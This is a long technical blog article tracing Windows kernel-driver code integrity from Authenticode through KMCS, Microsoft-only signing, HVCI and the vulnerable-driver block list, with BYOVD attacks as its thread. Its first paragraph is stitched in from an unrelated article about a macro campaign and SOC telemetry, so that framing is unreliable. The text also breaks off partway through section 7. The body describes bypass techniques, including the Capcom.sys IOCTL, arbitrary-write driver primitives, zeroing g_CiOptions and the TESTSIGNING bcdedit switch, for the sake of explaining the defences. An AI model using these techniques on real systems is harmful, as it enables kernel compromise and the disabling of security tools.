Nine years, seven generations, nineteen rules, one structural pivot from nodes to edges, and the same Cohen-1984 ceiling that every behaviour-block list inherits. The Frankfurt analyst from this article's opening never knew the macro fired -- because the kernel made sure nothing happened. That is the article in one sentence: a quiet layer that converts a credential-stealing-banking-trojan-turned-loader campaign into a single-row telemetry event the SOC routinely ignores, by classifying edges instead of nodes.

The Driver That Was Signed and the Driver That Won't Load: Windows Kernel Code Integrity, 2006-2026

noreply@paragmali.com (Parag Mali) — Thu, 14 May 2026 00:00:00 GMT

**Windows ships a list of Microsoft-signed drivers it refuses to load.** That list -- `DriverSiPolicy.p7b` -- exists because every previous generation of kernel-driver trust assumed a signed driver was a safe driver, and a twenty-year run of Bring-Your-Own-Vulnerable-Driver attacks (Stuxnet, Capcom.sys, RTCore64.sys, gdrv.sys) proved that assumption wrong. The 2026 default-on stack -- KMCS, the block list, HVCI in VTL1, Smart App Control, and Defender ASR coverage -- is five gates doing what one ideal gate cannot do: name the specific weakness, not just the publisher. The architectural gap that motivates the stack is undecidable in principle and will not close.

1. The Driver That Loaded

On 13 September 2016, the researcher Matt Nelson posted on his enigma0x3 blog that a Capcom-published kernel driver, Capcom.sys, exposed IOCTL 0xAA013044 and used it to execute a user-supplied function pointer in kernel mode, with SMEP disabled along the way [@gh-tandasat-capcom] [@gh-tandasat-capcom]. Within two weeks the technique was operational in Metasploit. Later in September 2016, Capcom pushed the same driver to Street Fighter V's entire installed base as part of an anti-cheat update; in October 2016, Satoshi Tanda published the canonical standalone exploit on GitHub. Capcom withdrew the SFV driver shortly after, but the bytes were already in the wild.The often-told version of this story compresses three distinct events into one. Matt Nelson's Let's Be Bad Guys post on 13 September 2016 disclosed the IOCTL number and the function-pointer-execution primitive. OJ Reeves opened the canonical Metasploit pull request, rapid7/metasploit-framework#7363 [@gh-msf-pr-7363], shortly after; the PR was created on 27 September 2016 and merged the following day [@gh-msf-pr-7363]. Satoshi Tanda's tandasat/ExploitCapcom repository was first published in October 2016 and is the canonical standalone PoC, and the artefact this article cites for the IOCTL number and SHA-1 hash.

The driver was properly Authenticode-signed. It chained to a Microsoft-recognised root. It loaded cleanly on every default-configured Windows 7, 8.1, and 10 machine in the world.

That is the puzzle this article exists to answer. How does an operating system whose entire kernel-loading policy is was this binary signed? answer a vulnerability whose only failure mode is yes, by a real publisher, doing exactly what the signature says it does?

A class, not an incident

Capcom.sys was not the first signed kernel driver with a primitive IOCTL, and it would not be the last. The pattern recurs across two decades and is the through-line of this article. The catalogue includes Micro-Star's RTCore64.sys (the kernel component of MSI Afterburner), Gigabyte's gdrv.sys, and the KProcessHacker driver shipped with Process Hacker. Section 4 walks through each one with its primary disclosure record.

The attack class has a name. Bring Your Own Vulnerable Driver, or BYOVD. The adversary does not need to find a kernel zero-day. They need to find one signed driver, anywhere, whose interface is unsafe by design, and to ship it.

Key idea: Windows in 2026 ships a curated list of Microsoft-signed drivers it refuses to load. Understanding that list is understanding why every previous attempt to make kernel-mode trust mean safety instead of just identity eventually broke.

The current Windows 11 22H2 client honours %windir%\system32\CodeIntegrity\DriverSiPolicy.p7b, a Microsoft-signed deny list enforced by a hypervisor-isolated code-integrity engine sitting in Virtual Trust Level 1. The same engine refuses to map any kernel page that is simultaneously writable and executable. Both behaviours are documented on Microsoft Learn's Memory Integrity page [@ms-hvci-vbs] and the Microsoft-recommended driver block rules page [@ms-driver-block-rules] [@ms-hvci-vbs] [@ms-driver-block-rules]. Neither existed in 2006.

To understand why Windows now refuses to load drivers it once asked Microsoft to sign, we need to go back thirty years to the moment Windows first asked a publisher to sign anything at all.

2. Advisory Trust: 1996 to 2005

For its first decade, the Windows driver signing policy was a polite recommendation.

Microsoft shipped its first user-mode code-signing primitive, Authenticode, in 1996, packaged for developers in the same tool kit that gave us SignTool, MakeCat, and Inf2Cat -- the suite Microsoft Learn still documents under "Cryptography tools" [@ms-crypto-tools] [@ms-crypto-tools]. Authenticode wrapped a PKCS#7 signature around the SHA-1 (and later SHA-256) hash of a PE image and let a recipient walk the signer's certificate chain to a trusted root. It was the first answer to the question who shipped this binary? It was, deliberately, never an answer to is this binary safe?

Microsoft's PKCS#7-based code-signing format for Windows binaries. Authenticode attests to the publisher's identity by binding the binary's hash to a certificate chain anchored at a trusted root. It does not analyse the program's behaviour.

For drivers, the user-mode signing primitive was paired with a separate quality program. The Windows Hardware Quality Labs programme, documented today via the Hardware Lab Kit [@ms-hlk], tested third-party drivers against a Microsoft-curated compatibility suite and rewarded passing drivers with a counter-signature, eventually surfaced as the "Designed for Windows" or "Certified for Windows" mark [@ms-hlk]. The badge was operationally meaningful for OEM badging and Windows Update distribution. It was not a load-time gate. An unsigned .sys file dropped on disk by a setup script still loaded.

Microsoft's compatibility-test programme for third-party drivers. A driver that passes the HLK test suite receives a Microsoft counter-signature and is eligible for OEM and Windows Update distribution. The programme produces a quality signal, not a load-time enforcement decision.

The SetupAPI prompt

On 32-bit Windows, the gate the user actually saw was the SetupAPI driver-installation prompt. The administrator could set the system to Ignore, Warn, or Block unsigned drivers; the default was Warn. Warn meant a click-through dialog at install time. An administrator who clicked Install this driver anyway loaded the unsigned driver, no further questions asked. The structural truth is the one Microsoft's modern KMCS policy page [@ms-kmcs-policy] acknowledges by contrast: under advisory policy, the prompt is the policy, and a prompt is exactly as strong as the user clicking past it [@ms-kmcs-policy].

The Sony BMG XCP incident in October 2005 made the structural weakness concrete. The XCP copy-protection software, shipped on retail audio CDs, autorun-installed an unsigned kernel-mode filter driver. The driver hid any file, registry key, or process whose name began with the string $sys$ -- a textbook rootkit by capability if not by intent. The driver loaded after an administrator clicked through the warning prompt, exactly as advisory policy allowed. The pattern is described well in Wikipedia's code-signing article [@wp-code-signing] [@wp-code-signing].The Sony BMG XCP rootkit triggered class-action lawsuits, FTC settlements, and an industry-wide reconsideration of what "the user clicked OK" actually authorises. From a kernel-trust perspective, the lesson is narrower: any policy that ends in a dismissible dialog has the same threat model as no policy at all, against an attacker who can show the user a dialog.

The structural takeaway from 1996 through 2005 is the one the next decade tried to repair. When the signing policy is advisory, an attacker who has -- or can socially engineer -- administrator privilege only needs to dismiss a prompt to load a kernel driver. The signing primitive worked. The policy around the primitive did not.

If the prompt is the only thing between an attacker and ring zero, the kernel itself has to take over. And on a brand-new x64 architecture, Microsoft could break backward compatibility to make that happen.

3. KMCS: The Vista x64 Revolution (2006-2016)

In November 2006, Vista x64 made a decision that x86 never could: it refused to load any unsigned kernel driver, full stop.

The mechanism was Kernel-Mode Code Signing, or KMCS. The previous-versions Microsoft Learn page on Vista-era driver signing [@learn-microsoft-com-design-dn653567vvs85]) records the policy [@ms-dn653567]. At the point where the I/O manager called IoLoadDriver, the Code Integrity module (ci.dll) intercepted the load, extracted the Authenticode signature embedded in the PE image or attached via a published catalogue, walked the certificate chain, and refused to map the image if the chain did not terminate at a Microsoft-trusted root. There was no SetupAPI prompt to dismiss. If the kernel refused, the kernel refused. The decision lived below the user's reach.

The Vista-era mandatory load-time signature policy on 64-bit Windows. Before mapping a kernel driver's PE image, the Code Integrity module verifies that the image's Authenticode signature chains to a Microsoft-trusted root. Drivers that fail the check are refused at load time, not at install time.

x86 kept the advisory policy. Microsoft could not break compatibility with two decades of unsigned drivers on the dominant platform. But x64 was a young architecture with a few hundred drivers in the field, and Microsoft used that moment to flip the default. The structural shift was real: kernel-driver trust on x64 became a property of the binary, decided in the kernel, against a fixed set of trusted roots.

Cross-certificates: opening the gate to the world

A Microsoft-trusted root alone would have meant Microsoft signs every driver, which Microsoft did not want. Instead Microsoft cross-certified a small set of commercial code-signing certificate authorities -- including VeriSign, DigiCert, Entrust, GlobalSign, GoDaddy, and several smaller successors enumerated on the historical cross-certificate list (2020 archive) [@ms-cross-cert-archive] -- so that a publisher could buy a code-signing certificate from a commercial CA, sign their driver, and have the chain still terminate at a Microsoft-recognised root [@ms-cross-cert-archive]. The architecture is documented on the cross-certificates for kernel-mode code signing page [@ms-cross-cert], which now opens with a sentence that did not exist in 2006: "Cross-signing is no longer accepted for driver signing" [@ms-cross-cert]. We will come back to that.

sequenceDiagram participant IO as I/O Manager participant CI as Code Integrity (ci.dll) participant CA as Cross-certified CA chain participant Root as Microsoft trusted root

IO->>CI: Map PE for kernel driver
CI->>CI: Extract Authenticode signature (PKCS#7)
CI->>CA: Walk certificate chain
CA->>Root: Anchor at Microsoft cross-cert
alt Chain valid and not revoked
    CI->>IO: Allow section creation
    IO->>IO: Load driver into kernel address space
else Chain invalid or unsigned
    CI->>IO: STATUS_INVALID_IMAGE_HASH
    IO->>IO: Abort load
end

Documented escape hatches

KMCS shipped with three documented bypasses for developers and special cases, all enumerated on the KMCS policy page [@ms-kmcs-policy] [@ms-kmcs-policy]:

bcdedit /set TESTSIGNING ON enables test-signing mode. The kernel will load drivers signed with self-issued test certificates. The cost is a desktop watermark.
The F8 advanced-boot option Disable Driver Signature Enforcement turns off KMCS for one boot.
The legacy nointegritychecks BCD flag disables enforcement entirely, but is rejected on systems where Secure Boot is on.

Each of these was a development workflow concession. Each of them, with admin privileges and a willingness to reboot, also serves as a kernel-driver loading path for an attacker who has already escalated. The policy holds against unprivileged adversaries. Against an attacker who already runs as administrator, the policy was already, by 2010, defending against a different threat than the one people thought it was defending against.Microsoft has been formally clear about this since at least 2016: the administrator-to-kernel transition is not a security boundary in the MSRC servicing-criteria sense. Elastic Security Labs writes the position out explicitly in their analysis of vulnerable-driver mitigations [@elastic-admin] [@elastic-admin]. The historical irony is that Vista x64 KMCS was widely read at the time as a defence against admin-level adversaries; it was actually a defence against unprivileged or pre-admin ones.

PatchGuard: the parallel runtime defence

KMCS was a load-time check. The runtime parallel arrived in 2005 with Kernel Patch Protection, informally PatchGuard or KPP, which the Wikipedia entry on Kernel Patch Protection [@wp-kpp] describes as a feature of 64-bit Windows that prevents patching of critical kernel structures [@wp-kpp]. KPP polls a set of integrity-critical kernel objects -- the System Service Descriptor Table, IDT, GDT, certain function prologues -- and triggers a bug check if it detects tampering. It is the watchdog against runtime modification of the kernel by code that has already loaded; KMCS gates what loads in the first place.

What this fixed: the unsigned-driver-loading path closed on 64-bit Windows in production mode. Kernel rootkits of the early 2000s -- FU, Mailbot, Rustock, and their contemporaries, widely documented in the security-research literature of the era -- could no longer ship as bare .sys files an admin script dropped on disk. The structural class of "unsigned kernel rootkit" effectively died on x64.

But the day Vista x64 shipped, two new attack surfaces opened up. The first one Stuxnet found four years later. The second one nobody had a name for yet.

4. Stuxnet, BYOVD, and the Two Things Vista Did Not Fix

On 17 June 2010, researchers in Belarus and Iran identified Stuxnet, a worm targeting supervisory control and data acquisition systems [@wp-stuxnet] used in industrial-control environments [@wp-stuxnet]. Two of its drivers carried perfectly valid Authenticode signatures.

The signatures were genuine. The certificates were not. Stuxnet had been signed with private keys stolen from semiconductor vendors whose code-signing certs chained to legitimate cross-certified roots. KMCS verified the chain, found it good, and let the drivers load.Stuxnet is widely reported to have used stolen signing keys from two real semiconductor vendors. The malware-analysis literature is consistent on the pattern; specific cert-holder attributions are reproduced in many places but the primary advisory record we cite here is the Wikipedia Stuxnet article [@wp-stuxnet] and the general framing in the Wikipedia code-signing article [@wp-code-signing] [@wp-stuxnet] [@wp-code-signing]. The reactive answer was certificate revocation, but revocation propagates through Windows on a schedule, not instantly, and the cached chain on millions of machines remained valid for days.

That was the first failure mode KMCS could not block by design. The signature primitive answers was this signed by a key that chains to a trusted root? It cannot answer was the key still in the publisher's control when it signed this?

The Capcom.sys reframe

The second failure mode arrived publicly in 2016. A Capcom driver shipped via a Street Fighter V update exposed an IOCTL, numbered 0xAA013044, that took a user-supplied function pointer and executed it in kernel mode -- with Supervisor Mode Execution Prevention (SMEP) disabled while it did so. The driver was signed and chained correctly. Satoshi Tanda's standalone proof of concept at tandasat/ExploitCapcom [@gh-tandasat-capcom] remains the canonical reference, including the SHA-1 of the binary (c1d5cf8c43e7679b782630e93f5e6420ca1749a7) [@gh-tandasat-capcom].

There was nothing for KMCS to catch. The driver did exactly what the signature said it did: ship bytes from a publisher Microsoft could identify. The signature has no opinion about the IOCTL surface.

A signed driver means only that someone Microsoft can identify shipped this binary. It does not mean the driver lacks a function-pointer IOCTL.

That observation is the first of three reframes in this article and the easiest to underestimate. Up to 2010 the conventional security reading of a Microsoft-rooted Authenticode signature was that the driver had passed a review. After Stuxnet, the reading narrowed to the publisher is identifiable. After Capcom.sys, it narrowed again to the binary's identity is verifiable. None of these readings includes the binary does not have a kernel-write primitive in its IOCTL handler.

An attack pattern in which an adversary, having obtained or already holding administrator privileges, installs a signed but design-vulnerable third-party kernel driver and uses its exposed primitives -- arbitrary memory read/write, port I/O, MSR access, or function-pointer dispatch -- to gain ring-zero capability. The signature primitive does not refuse the load because the driver is, on signature alone, legitimate.

The catalogue grows

The BYOVD catalogue accumulated through the 2010s.

RTCore64.sys, the kernel component of MSI's Afterburner overclocking utility, exposed read/write access to arbitrary kernel memory, I/O ports, and Model-Specific Registers from user mode. The NVD entry for CVE-2019-16098 [@nvd-cve-2019-16098] is unusually direct: "These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code." [@nvd-cve-2019-16098] The driver became a workhorse for ransomware crews. Sophos's October 2022 incident analysis of BlackByte's new variant [@sophos-blackbyte] documents the abuse: BlackByte "abus[ed] a known vulnerability in the legitimate vulnerable driver RTCore64.sys" to disable "a whopping list of over 1,000 drivers on which security products rely to provide protection" [@sophos-blackbyte].

gdrv.sys, the Gigabyte APP Center driver, exposed a ring-zero memcpy-equivalent that a local attacker could use to overwrite arbitrary kernel addresses. CVE-2018-19320 [@nvd-cve-2018-19320] is on CISA's Known Exploited Vulnerabilities catalogue [@nvd-cve-2018-19320]. The RobinHood ransomware abused it during the 2019 Baltimore municipal-government attack -- a connection widely documented by Sophos and CrowdStrike incident-response teams, though absent from the bare NVD record.

KProcessHacker, the kernel companion to the Process Hacker administration tool, exposed a process-termination primitive that bypassed even the Protected Process Light (PPL) shielding around antivirus and EDR processes. CrowdStrike's DoppelPaymer write-up [@cs-doppelpaymer] documents the abuse explicitly: "the hijacking technique ... leverages ProcessHacker's kernel driver, KProcessHacker, that has been registered under the service name KProcessHacker3 ... terminate processes, including those protected by Protected Process Light (PPL)." [@cs-doppelpaymer]

sequenceDiagram participant Adv as Adversary (admin user mode) participant SCM as Service Control Manager participant CI as Code Integrity (ci.dll) participant Drv as Signed vulnerable driver participant K as Kernel state

Adv->>SCM: Install signed driver as kernel service
SCM->>CI: Request load
CI->>CI: Authenticode check passes
CI->>SCM: Allow
SCM->>Drv: Load into kernel
Adv->>Drv: IOCTL with attacker-supplied pointers
Drv->>K: Write attacker bytes at arbitrary kernel address
K->>K: Clear EDR notify routine / escalate token

The third bypass: patching the policy from kernel mode

There is a third failure mode that closes the loop. Once an attacker has a signed driver with an arbitrary kernel-write primitive, they can write directly into the in-kernel Code Integrity state. The variable of interest is g_CiOptions, an integer inside ci.dll whose bits gate Driver Signature Enforcement. TrustedSec describes the technique cleanly: "this configuration variable has a number of flags that can be set, but typically for bypassing DSE this value is set to 0, completely disabled DSE and allows the attacker to load unsigned drivers just fine." [@trustedsec-gcioptions] Set g_CiOptions to zero and the subsequent driver loads do not need signatures at all. The signed driver, in effect, is a one-shot key that opens the gate for any unsigned driver behind it. The pattern recurs through the early 2020s; specific malware-family attributions remain research-folklore, but the technique class is well attested in TrustedSec's account.

The structural takeaway: KMCS verifies who signed, never what was signed. Once an attacker has a signed driver with a write primitive, they have ring zero. Stricter signing closes the front door for new malicious drivers. Every commercial-CA cert that was ever issued is still loadable. The policy decision has to move out of the attacker's reach. And the kernel itself has to stop being the thing that decides.

5. Microsoft as the Only Signer (2016-2024)

In August 2016, Microsoft did something the WHQL programme had refused to do for twenty years: it became the only entity that could counter-sign a new Windows kernel driver.

The transition shipped with Windows 10 version 1607. The KMCS policy page [@ms-kmcs-policy] records the cut precisely: for end-entity certificates issued after 29 July 2015, the chain had to terminate at one of three Microsoft-owned roots -- Microsoft Root Authority 2010, Microsoft Root Certificate Authority, or Microsoft Root Authority -- and the binary had to be counter-signed via the Windows Hardware Dev Center submission portal [@ms-kmcs-policy]. The commercial CAs were out. Microsoft was in, as the single point through which any new third-party kernel driver had to pass.

Two pipelines

Behind the portal sat two submission paths. The HLK/WHQL path required a full Hardware Lab Kit compatibility test pass on the publisher's hardware -- the lab kit is the modern incarnation of the WHQL programme, documented on Microsoft Learn [@ms-hlk] [@ms-hlk]. A passing run produced a "Certified for Windows" mark and made the driver eligible for OEM badging and Windows Update distribution. The lighter-friction path, called attestation signing [@ms-attestation], did not require an HLK run [@ms-attestation]. The publisher submitted a CAB containing the driver and supporting metadata. Microsoft's backend ran a malware scan and an automated policy check; if both passed, Microsoft applied a counter-signature. Attestation-signed drivers, the page notes, ship only to client SKUs.

The lower-friction post-2016 Microsoft signing path for Windows kernel drivers. The publisher uploads a CAB to the Hardware Dev Center; Microsoft runs malware scanning and an automated policy check; on pass, Microsoft applies its counter-signature. The path replaces full HLK testing for client-only drivers.

EV certificates as the account-binding primitive

Both paths required the publisher to hold an Extended Validation code-signing certificate. The EV cert does not sign the driver image itself; it signs and binds the Hardware Dev Center submission. That gives Microsoft a real-name handle on every kernel-driver publisher. EV certificates ride a strong identity check, cost meaningfully more than commercial OV certs, and live on a hardware token in the publisher's possession. The 2021 Microsoft Security blog announcing the Vulnerable & Malicious Driver Reporting Center spells the requirement out: "Kernel-mode driver publishers must pass the Hardware Lab Kit (HLK) compatibility tests, malware scanning, and prove their identity through extended validation (EV) certificates." [@ms-vdrc-blog]

flowchart LR A[Publisher EV cert + driver CAB] --> B[Hardware Dev Center upload] B --> C[Malware scan] C --> D{HLK required?} D -- "Yes" --> E[HLK compatibility test pass] D -- "No" --> F[Attestation policy check] E --> G[Microsoft counter-sign] F --> G G --> H[Optional Windows Update distribution]

The legacy long tail

The pivot to Microsoft-only signing closed the door for new drivers. It did not close the door for old ones.

The KMCS policy page [@ms-kmcs-policy] is candid about the carve-outs: "Cross-signed drivers are still permitted if any of the following are true: The PC was upgraded from an earlier release of Windows to Windows 10, version 1607. Secure Boot is off in the BIOS. Drivers was signed with an end-entity certificate issued prior to July 29th 2015 that chains to a supported cross-signed CA." [@ms-kmcs-policy]

Operationally, every signed-but-vulnerable driver from the 2006-2015 era remains loadable on a meaningful population of Windows machines: upgraded installs, devices with Secure Boot disabled in firmware, and drivers with pre-cutoff end-entity certs whose chains are still valid. Capcom.sys, RTCore64.sys, gdrv.sys, KProcessHacker -- the entire 2010s BYOVD catalogue -- continues to chain to roots Windows still accepts.

What attestation signing catches and what it does not

The malware scan inside attestation signing looks for known dangerous behaviour. The Microsoft Security blog post on the Vulnerable & Malicious Driver Reporting Center enumerates the categories the backend flags: "Drivers with the ability to read or write arbitrary kernel, physical, or device memory, including Port I/O and central processing unit (CPU) registers from user mode." [@ms-vdrc-blog] In other words, the scanner already understands the BYOVD pattern.

What it does not catch are novel design flaws. A driver whose IOCTL surface is structurally unsafe in a way the scanner does not have a signature for passes the scan and ships with a Microsoft counter-signature. The Capcom.sys pattern is in the scanner's repertoire today; the pattern in the next driver to ship is, by definition, not.

A second weakness sits on the publisher side. EV-key compromise -- whether through the LAPSUS$ supply-chain leaks of 2022 or other vendor incidents -- gives the attacker the Microsoft-only-signing flavour of the Stuxnet problem. The signed-by-Microsoft chain is exactly as strong as the EV key's safekeeping at the publisher.

One bottleneck for signing is an improvement. But the bottleneck still trusts the kernel that asks the question. As long as the policy engine runs in the same memory the attacker can write, the policy engine loses.

6. HVCI: Moving the Policy Out of Reach (2015-present)

In July 2015, Microsoft shipped a feature so structurally important that it took six years to become a consumer default, and so misunderstood that it still travels under three different names.

The names are the easiest place to start. Virtualization-Based Security (VBS) is the platform: a Hyper-V-rooted virtualisation layer that exists on every modern Windows installation that meets the hardware requirements. Hypervisor-protected Code Integrity (HVCI) is the kernel-code-integrity consumer of VBS. Memory Integrity is the label the Windows Security UI uses today. The Microsoft Learn page on Memory Integrity [@ms-hvci-vbs] is the canonical primary source [@ms-hvci-vbs]. TrustedSec called out the conflation explicitly in their g_CiOptions in a virtualized world post [@trustedsec-gcioptions] [@trustedsec-gcioptions].

Key idea: A security check that shares a trust domain with what it is checking has, by definition, already lost. HVCI moves the check out of the attacker's trust domain. It is the answer to who decides. It is not the answer to what gets decided.

That sentence is the second of this article's three reframes, and the one that makes everything that follows make sense.

VBS and the Virtual Trust Levels

On a VBS-on Windows machine, Hyper-V is the Type-1 hypervisor. The bootloader brings the hypervisor up first, the hypervisor brings up two execution environments side by side, and the normal Windows kernel runs in one of them while a much smaller Secure Kernel runs in the other.

The VBS abstraction that partitions a Windows installation into two execution environments. VTL0 is the normal Windows kernel and its drivers. VTL1 is a much smaller Secure Kernel and a curated set of "trustlets" -- isolated user-mode processes that hold the most sensitive secrets. VTL1 can read and write VTL0 memory; VTL0 cannot read or write VTL1 memory. Code-integrity policy lives in VTL1.

The Code Integrity engine on an HVCI-on machine -- signature verification and policy-file consultation -- runs inside VTL1's Secure Kernel as the Secure Kernel Code Integrity component, SKCI. The VTL0 kernel cannot read or write VTL1 memory by hardware construction: the hypervisor's second-level address translation tables, programmed before VTL0 ever runs, mark VTL1 pages as unreachable from VTL0. The in-memory g_CiOptions state continues to reside in ci.dll's VTL0 data section -- it does not relocate into VTL1 -- but on an HVCI-on machine Kernel Data Protection (KDP), exposed to VTL0 drivers as MmProtectDriverSection, asks the Secure Kernel to mark the containing page read-only at the SLAT level. A fully compromised VTL0 kernel -- with kernel debugging attached, with all of ring zero's privileges -- cannot rewrite g_CiOptions to zero, because the SLAT mapping refuses the write.

flowchart TD subgraph VTL1 [VTL1 -- Secure Kernel] SK[Secure Kernel] SKCI[SKCI -- Code Integrity] Policy["Code Integrity policy
(DriverSiPolicy.p7b)"] SK --> SKCI SKCI --> Policy end subgraph VTL0 [VTL0 -- Normal Windows] Kern[NT Kernel] Drv[Driver attempting load] CI[ci.dll user-side] Kern --> CI CI --> Drv end Hypervisor{"Hyper-V SLAT"} Kern -->|"Section create"| Hypervisor Hypervisor -->|"Forward"| SKCI SKCI -->|"Allow or deny"| Hypervisor Hypervisor -->|"Result"| Kern

W^X on kernel memory

There is a second, equally structural property HVCI enforces. When the VTL0 kernel tries to map an executable section -- to create a kernel-executable page from a PE image -- the hypervisor forces the request through SKCI. SKCI verifies the Authenticode signature at section creation time, not only at the IoLoadDriver entry point a load goes through later [@ms-hvci-vbs]. And SKCI refuses any page that is simultaneously writable and executable. The classic exploitation technique of allocating a writable kernel buffer, writing shellcode into it, and then jumping to it stops working: the page either is writable, in which case it is not executable, or is executable, in which case it is not writable.

The hardware acceleration matters. The Memory Integrity page [@ms-hvci-vbs] is unusually direct about the requirement: "Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance." [@ms-hvci-vbs]Mode-Based Execute Control (MBEC) is the Intel feature that lets the hypervisor distinguish "executable in supervisor mode" from "executable in user mode" at the page-table-entry level. AMD's Guest Mode Execute Trap (GMET) is the structurally equivalent feature. Older silicon falls back to Restricted User Mode emulation, which works correctly but pays a meaningfully larger performance tax. The hardware cutoff is a major reason HVCI defaulted off on pre-2017 OEM hardware for years.

What HVCI fixed

The g_CiOptions patching family, the third bypass we met in section 4, closes on HVCI-on systems. TrustedSec's post [@trustedsec-gcioptions] gives a clean account: g_CiOptions still lives in ci.dll's VTL0 data section, but Kernel Data Protection -- exposed to VTL0 drivers as MmProtectDriverSection -- asks the Secure Kernel in VTL1 to mark its containing page read-only at the SLAT level, so a VTL0 ring-zero write to it faults; the VTL0 kernel cannot rewrite the variable; live-kernel debuggers attached to VTL0 cannot rewrite it either [@trustedsec-gcioptions]. The arbitrary-write-to-disable-DSE pattern that worked on Windows 7 through pre-HVCI Windows 10 is, on an HVCI-on Windows 11, no longer a primitive that exists in the attacker's threat model. The trust domain that decides the policy is not the trust domain the attacker can reach.

What HVCI did not fix

It is essential to be clear about what HVCI does not catch, because misreading this is how the BYOVD class survives.

HVCI verifies the signature and enforces W^X. It does not analyse the driver's behaviour. The 2019 RTCore64.sys driver passes SKCI section-mapping unchanged: it is signed by MSI through a Microsoft-recognised chain, it has no writable-and-executable pages, and the Authenticode hash on disk matches the binary in memory. After it loads, an attacker in user mode sends an IOCTL; the driver, executing legitimately in ring zero, writes attacker-controlled bytes to an attacker-chosen kernel address; the EDR notify routine table is patched; the BYOVD attack proceeds. Everything that happens inside the IOCTL handler happens with kernel privilege, on properly-signed code paths, inside HVCI's W^X policy. The structural BYOVD class is unaffected.

That is the gap the next two sections close.

Note: The Memory Integrity page [@ms-hvci-vbs] is explicit that "some applications and hardware device drivers may be incompatible with memory integrity. This incompatibility can cause devices or software to malfunction and in rare cases may result in a boot failure (blue screen)." [@ms-hvci-vbs] For years OEM and gaming-system vendors shipped with HVCI off because legacy ISV drivers, anti-cheat kernel components, or older virtualisation tools could not coexist with it. On an HVCI-off system the g_CiOptions patching family is back in play, the kernel-CI engine and the kernel it polices are in the same trust domain, and the analysis of section 4 applies unchanged. The 2026 default-on baseline is real, but it is not yet universal.

HVCI is the answer to who decides. It is not the answer to what gets decided. We still need a way to say: this specific signed binary is one we do not trust.

7. The Block List: Naming the Weakness (2020-present)

In October 2020, Microsoft started shipping something it had spent twenty-five years avoiding: a list of specific drivers it would refuse to load by name.

The artefact lives at %windir%\system32\CodeIntegrity\DriverSiPolicy.p7b. The file is a PKCS#7-signed App Control for Business policy -- "WDAC" by its former name -- whose body consists of deny rules expressed at the granularity of file hash, file name, or publisher. The canonical Microsoft-recommended driver block rules page [@ms-driver-block-rules] is the primary source, and is unusually rich for a Microsoft Learn page [@ms-driver-block-rules].

Microsoft's policy-driven application-control engine. An App Control policy is a signed XML or binary file that lists allow rules, deny rules, and signer-level rules; at load time, the policy engine consults the rules and either allows or refuses the image. `DriverSiPolicy.p7b` is itself an App Control policy whose body is all deny rules.

Cadence and the published-vs-shipped gap

The block list is refreshed on two cadences. Microsoft publishes the source XML on the block-rules page [@ms-driver-block-rules] on a quarterly schedule and pushes the binary DriverSiPolicy.p7b to client devices through monthly Windows servicing [@ms-driver-block-rules]. Microsoft's Security Baselines team also publishes a running update post [@ms-tc-blocklist-baselines] cataloguing the changes [@ms-tc-blocklist-baselines].

The candid admission on the block-rules page [@ms-driver-block-rules] is the part of the story that is most worth understanding.

The blocklist included in this article and in the associated downloadable files usually contains a more complete set of known vulnerable drivers than the version in the OS and delivered by Windows Update. It's often necessary for us to hold back some blocks to avoid breaking existing functionality. -- Microsoft Learn, *Microsoft-recommended driver block rules* [@ms-driver-block-rules]

The published list is, on purpose, more inclusive than the shipped list. The reason is operational: every entry in the shipped list is a driver that would refuse to load on millions of devices, some of which have legitimate dependencies. Microsoft holds entries back when the compatibility cost is too high, even when the security signal is strong. We will come back to whether that gap is closeable in section 9.

The 22H2 cut and the Server 2016 carve-out

Two dates anchor the deployment story.

The block list was an optional feature in Windows 10 1809, enabled by default only on systems that ran Hypervisor-protected Code Integrity, Smart App Control, or Windows in S-mode [@ms-kb5020779] [@ms-kb5020779]. With the Windows 11 2022 Update, also known as 22H2 [@ms-blogs-win11-2022], released on 20 September 2022, default-on coverage extended to every client device, not just the HVCI-on subset [@ms-blogs-win11-2022]. The 22H2 release is the moment the block list became universal Windows client behaviour, six years after the first BYOVD primitive that motivated it.

The block-rules page [@ms-driver-block-rules] notes a single explicit carve-out worth flagging."Except on Windows Server 2016, the vulnerable driver blocklist is also enforced when either memory integrity (also known as hypervisor-protected code integrity or HVCI), Smart App Control, or S mode is active." [@ms-driver-block-rules] Windows Server 2016 does not get the default-on block list even when HVCI is on. An enterprise admin managing Server 2016 has to deploy an explicit App Control policy to get the same coverage. The October 2022 preview cycle saw a documented quirk -- KB5020779 [@ms-kb5020779] explains that a preview release shipped without an actual blocklist refresh, addressed by a subsequent servicing update [@ms-kb5020779].The KB5020779 episode is a useful reminder that the in-box block list ships through the same Windows Update cycle as everything else. Preview releases do not always carry a fresh policy, and the cadence on the block-rules page [@ms-driver-block-rules] describes the intended steady state rather than every individual update [@ms-driver-block-rules].

Naming the weakness, not the publisher

For the first time in the story, the question Windows asks at load time is not only who signed this binary? but also is this specific signed binary one we have learned is unsafe? The block list is a step the previous generations could not have taken with the primitives they had: it requires a deny list that can be authored after the fact, distributed quickly, and enforced inside a trust domain the attacker cannot reach. KMCS supplied the load-time enforcement primitive; HVCI supplied the immune-from-VTL0 enforcement context; only with both in place could DriverSiPolicy.p7b actually do its job.

flowchart TD A[Driver image requested for load] --> B[Hypervisor mediates section create] B --> C[SKCI verifies Authenticode chain] C --> D{"Chain OK?"} D -- "No" --> X[Refuse] D -- "Yes" --> E[Consult DriverSiPolicy.p7b deny rules] E --> F{"Hash, name, or signer on deny list?"} F -- "Yes" --> X F -- "No" --> G[Allow section creation] G --> H[Driver maps into kernel address space]

The Vulnerable & Malicious Driver Reporting Center

The block list grew faster after Microsoft built a structured channel to feed it. The December 2021 Microsoft Security blog post [@ms-vdrc-blog] announced the Vulnerable & Malicious Driver Reporting Center: a portal where researchers and vendors can submit kernel drivers for evaluation, backed by an automated analysis pipeline that looks for the BYOVD primitives -- "the ability to read or write arbitrary kernel, physical, or device memory, including Port I/O and central processing unit (CPU) registers from user mode." [@ms-vdrc-blog] The post explicitly lists the historical CVE backdrop that motivated the centre, naming RobinHood, Uroburos, Derusbi, GrayFish, and Sauron as families that leveraged driver vulnerabilities such as CVE-2008-3431, CVE-2013-3956, CVE-2009-0824, and CVE-2010-1592 [@ms-vdrc-blog].

